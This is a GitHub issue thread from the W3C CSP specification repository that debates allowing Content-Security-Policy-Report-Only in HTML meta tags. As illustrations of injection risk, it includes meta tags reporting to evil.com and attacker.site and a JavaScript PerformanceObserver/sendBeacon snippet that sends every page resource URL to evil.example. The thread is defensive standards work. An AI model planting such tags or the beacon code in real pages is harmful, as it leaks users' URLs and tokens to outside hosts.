Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Allow CSP-Report-Only in meta tags. #277

Open
ScottHelme opened this issue Dec 31, 2017 · 30 comments
Open

Allow CSP-Report-Only in meta tags. #277

ScottHelme opened this issue Dec 31, 2017 · 30 comments
Milestone

Comments

@ScottHelme
Copy link

The CSP 3 spec does not allow Content-Security-Policy-Report-Only headers in meta tags. This can prevent sites from safely testing CSP prior to enforcing the policy with a Content-Security-Policy meta tag.

I'd like to allow site operators who can only deploy CSP via meta tags the option to safely test their policy. Prime examples of this are GitHub pages and hosted platforms like Ghost.

I'm not sure why CSPRO is restricted from meta, can anyone provide the reason?

I'm working with many sites (via my CSP reporting service https://report-uri.com) that currently have exactly this issue so it'd be great to see if we can do something for them in the spec.

@dhausknecht
Copy link

Unfortunately I cannot find the discussion about it anymore from the early days of CSP. IIRC it was on the W3C WebAppSec mailing list(?). Anyway, the reason was as follows:

It is to mitigate the effects of HTML injection attacks and the abuse of CSP. That is if you can inject

<meta http-equiv="Content-Security-Policy" content="report-uri evil.com/reports">

it is invisible but you can use it as a data channel out. Even worse:

<meta http-equiv="Content-Security-Policy-Report-Only" content="default-src 'none'; report-uri evil.com/reports">

is invisible and sends out everything that is loaded. This becomes interesting for example when you have URLs like a.com/user/scotthelme/ or something.

Therefore report-uri was removed from <meta>. And CSPRO without report-uri does not make any sense, does it?
It certainly does not eliminate the general problem of data exfiltration from a page. But it tries to at least not add yet another channel.

@ScottHelme
Copy link
Author

CSPRO without the report-uri directive would still be useful because you can handle reporting yourself using the SecurityPolicyViolation event: #255

I can't see a downside to this, but that doesn't mean there isn't one! If the attacker can inject script to do this themselves then it's already game over. Is there a problem to enabling CSPRO in meta?

@dhausknecht
Copy link

good point! I completely forgot about it when responding. As I said, the arguments were made long time ago when no such event was ever thought of. This certainly does change the game...

@mikewest @andypaicu ping ping ping :-D

@mikewest
Copy link
Member

mikewest commented Jan 3, 2018

As far as I can recall, the argument against putting reporting into <meta> boiled down to malicious injection, along the lines @dhausknecht notes above. default-src 'none'; report-uri https://attacker.site/ leaks the URL of ~every resource on the page, including interesting information like tokens or usernames, and does so without requiring script execution.

That said, I agree that firing a SecurityPolicyViolation event is significantly less risky than sending violation reports. There's probably not substantial risk in allowing something like the following inside <head>:

<meta
  http-equiv="Content-Security-Policy-Report-Only"
  content="[something that does not contain `report-uri`]">

+@dveditz, @andypaicu

@andypaicu
Copy link
Collaborator

When the decision was made the violation event was not on the table so the sole purpose of a CSPRO header was to send reports which meant that we could just blanket block CSPRO headers delivered in meta tags. Since we have events there is a use case for CSPRO headers in meta tags.

IIRC we currently ignore the report-uri directive for CSP headers in meta tags so we can do the same thing for CSPRO headers.

@ckerschb @dveditz - any objections to this?

@andypaicu andypaicu added this to the CSP3 CR milestone Jan 9, 2018
@arturjanc
Copy link

FWIW I like this proposal as well -- it helps developers safely deploy CSP on static HTML pages (which in some cases can't set response headers and have to use <meta>) without requiring them to go directly to enforcing mode.

I can't think of a way this can be abused if setting CSPRO doesn't allow specifying report-uri; but perhaps, as a defense in depth, we could require that the CSPRO <meta> tag is a descendant of document.head? This way injections later on in the DOM would not be able to inject CSP and affect the behavior of the document. I believe some user agents might already enforce this restriction for
<meta http-equiv="Content-Security-Policy"> so it shouldn't be a significant constraint for developers.

@annevk
Copy link
Member

annevk commented Oct 11, 2018

I noticed this rather late, but I really wish we'd stop with meta-element based policies. They are extremely brittle and create a ton of edge cases that are usually largely ignored and undertested.

@dveditz
Copy link
Member

dveditz commented Oct 15, 2018

And yet lots of content is still hosted on services that don't give authors the ability to set HTTP headers (this site, for one example). No one likes it, but there's a reason they keep getting added to specs.

@mikewest
Copy link
Member

I think we can drop <meta> if we do the work of creating an API to allow programmatic tightening of policy enforcement for a given document (perhaps along the lines of the not-even-half-completed sketch in https://w3c.github.io/webappsec-csp/api/?). Thus far, no one has been willing to spend the time to do that work (though @arturjanc asks for it every now and again).

In the absence of such an API, it doesn't seem unreasonable to give developers the ability to test out a policy via in-page events.

@annevk
Copy link
Member

annevk commented Oct 16, 2018

@dveditz as long as we provide solutions, there also won't be sufficient demand for GitHub et al to change.

An API has similar issues in that suddenly policies are mutable rather than known at the point of document creation and immutable for its lifetime.

@mikewest
Copy link
Member

Mutable policies at runtime are a feature, not a bug. :)

@koto
Copy link
Member

koto commented Jul 23, 2020

Just like Mike suggested, I think there's no risk in allowing report-only policies in <meta> tags, if only the reporting directives are then ignored. Not supporting report-only in meta still causes issues for developers wishing to tighten up their CSP safely, when they don't control headers.

@dveditz
Copy link
Member

dveditz commented Jul 29, 2020

I think I'm on board with the usefulness of -Report-Only as long as it's only SecurityPolicyViolation events.

@annevk
Copy link
Member

annevk commented Aug 4, 2020

I'm still very much opposed per the rationale above. Coupled with the fact that we still haven't defined how (mutable) policies propagate it doesn't seem great to keep adding to that.

@koto
Copy link
Member

koto commented Sep 9, 2020

Report-Only in meta tag solves a real issue for the developers - they can't effectively roll out CSP when the headers are not controlled (and in a surprising way). As long as meta headers continue to be supported - and have no alternatives in some web application deployment models - we should aim to make them helpful to the web developers.

Not supporting CSP-RO seems artificial, and unrelated to the discussion about the policy propagation, meta deprecation or policy delivery mechanism; CSP-RO support in meta does not change the propagation model - it behaves in the same way as <meta http-equiv="content-security-policy"> does. The platform still remains in control on whether, and when, to stop CSP support in <meta>, but that's a separate issue.

@eligrey
Copy link

eligrey commented Sep 10, 2020

Agreed @koto. I don't see why site owners can't be expected to secure their own generated <meta> CSPs. This limitation seems arbitrary.

@eligrey
Copy link

eligrey commented Sep 10, 2020

The following JS snippet leaks the URL of everything on the page without using CSP at all, and it doesn't break your website or require an HTML injection vulnerability in the <head> like these hypothetical <meta> CSP attacks:

new PerformanceObserver((events) => {
  events.getEntries().forEach(({ name: url }) => {
    navigator.sendBeacon(`//evil.example/${url}`);
  });
}).observe({
  entryTypes: ['resource', 'navigation', 'frame'],
});

The existing <head>-only limitation for <meta> CSPs seems like enough protection already to allow CSP-Report-Only in meta tags.

@annevk
Copy link
Member

annevk commented Sep 10, 2020

@koto not adding to an existing problem makes it very much related, in my opinion. Let's address that first before we keep adding technical debt to it.

@koto
Copy link
Member

koto commented Jan 29, 2021

Is there a consensus though that <meta> support for CSP should be removed (and as such is a technical debt of CSP)? Is the only other alternative delivery mechanism the response header? There are existing environments in which the headers are not controlled, or are not easy to setup (for example, create-react-app doesn't support it out-of-the-box).

Wearing the security hat, the exfiltration via reports concern of CSP-RO in <meta> can be addressed as outlined earlier. And it wasn't the best resolution for the exfiltration risk. Report functionality should be blocked, and this got expanded unnecessarily to CSP-RO (CSP-RO is useful without reporting to a server - #277 (comment)).

Wearing the author's hat who already spent tens of hours in multiple projects, figuring out how to make them add headers to unblock securing them, I don't think that a confusing asymmetry between CSP and CSP-RO making CSP adoption more difficult than it needs to be without a resolution in sight is a best place we can be in.

Practically, the deprecation of CSP in meta (whenever it comes to this) should not be that much difficult if CSP-RO was also supported. First, Chrome's telemetry shows that CSP is 10x CSP-RO. Sites use CSP-RO to transition for CSP, and if meta was deprecated, sites with CSP would definitely be in a difficult position way more than sites with CSP-RO. If the idea is to discourage CSP in meta usage, then it probably works, but I'm not sure if we should go a great way to put roadblocks for using security features in the platform.

@annevk
Copy link
Member

annevk commented Jan 29, 2021

Not being able to control response headers creates numerous security issues, e.g., XFO, CORP, and COOP. If you want to improve security of apps they will need to be able to control those aspects.

@koto
Copy link
Member

koto commented Jan 29, 2021

I agree, but see a real value in mitigating injections (the most prevalent vulnerability type still) without addressing those other threats. There will always be instances where XSS is of a grave concern, whereas e.g. framing should be allowed. Headers (or other out-of-band delivery mechanisms) are very useful, but I don't agree their control should be a baseline for having a chance against XSS. Especially given the current situation of supporting meta CSP.

@eligrey
Copy link

eligrey commented Jan 30, 2021

@koto We ship a JS Consent Manager library with an optional feature that generates consent-derived runtime-created <meta> CSPs to help regulate subsequently-loaded scripts at https://transcend.io.

<meta> CSPs provide a non-zero benefit against injections in many scenarios and are currently in use serving as a tool to allow scripts to dynamically regulate the behavior of subsequently-loaded scripts based on consent-derived policies.

Is there a consensus though that support for CSP should be removed

This use case is not possible with server-side CSP without storing user sessions & consent on a backend. I would not want to see this feature removed from browsers.

@Jack-Works
Copy link

If the point here is to prevent information leaks via report-uri, I think we should at least allow report-to in meta tags. In my environment, I cannot set an HTTP header so it's impossible for me to adopt CSP safely.

I tried this:

<meta http-equiv="Content-Security-Policy-Report-Only" content="report-to name;">

and getting error

The report-only Content Security Policy 'report-to name;' was delivered via a element, which is disallowed. The policy has been ignored.

@qabandi
Copy link

qabandi commented Apr 26, 2023

I agree with supporting 'Content-Security-Policy-Report-Only' in meta tags found in the header and disallow setting 'report-to' and instead rely on the CSP violation event.

@chrdek
Copy link

chrdek commented Nov 12, 2023

In case this issue is still open for discussion, there is an alternative way of Reporting APIs wrapper functions of ReportingObserver. You can extend/write your own event-based reporting functionality without additional risk of adding tags with default urls etc.
More info is found here at mdn official.

Note: Meta tags with report-to seem to work as of 2023 but require additional headers to function properly.

This can be easily used to log errors and browser crashes as well. let me know what you think.

@lukewarlow
Copy link
Member

I'd like to add to the earlier calls for supporting report only mode within meta tags. Given since the original discussion many years ago nothing has been done to remove meta support for CSP I think the artificial limitation which blocks report only mode should be removed.

@annevk
Copy link
Member

annevk commented Feb 13, 2024

As I mentioned in #640 (comment) I'm still very much opposed to increasing the number of mutable policies.

fguillot pushed a commit to miniflux/v2 that referenced this issue Mar 11, 2024
Refactor away some trival usages of `.innerHTML`. Unfortunately, there is no way to
enabled trusted-types in report-only mode via `<meta>` tags, see
w3c/webappsec-csp#277
jeankhawand pushed a commit to jeankhawand/v2 that referenced this issue Mar 20, 2024
Refactor away some trival usages of `.innerHTML`. Unfortunately, there is no way to
enabled trusted-types in report-only mode via `<meta>` tags, see
w3c/webappsec-csp#277
@zcorpan
Copy link
Member

zcorpan commented Mar 21, 2024

Agreed with @annevk. The Reporting API seems sufficient here.

@chrdek
Copy link

chrdek commented Mar 28, 2024

I'd like to add to the earlier calls for supporting report only mode within meta tags. Given since the original discussion many years ago nothing has been done to remove meta support for CSP I think the artificial limitation which blocks report only mode should be removed.

Hello, in case that 'report-to' meta tags are retrieved by web crawlers externally there could be a security or data-leak issue in my opinion. Isn't using chrome event observers easier and more preferable? let me know what you think.

tfaughnan pushed a commit to tfaughnan/miniflux that referenced this issue Mar 31, 2024
Refactor away some trival usages of `.innerHTML`. Unfortunately, there is no way to
enabled trusted-types in report-only mode via `<meta>` tags, see
w3c/webappsec-csp#277
@lukewarlow
Copy link
Member

Doesn't that apply to enforcement mode as well as report only mode?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

15 participants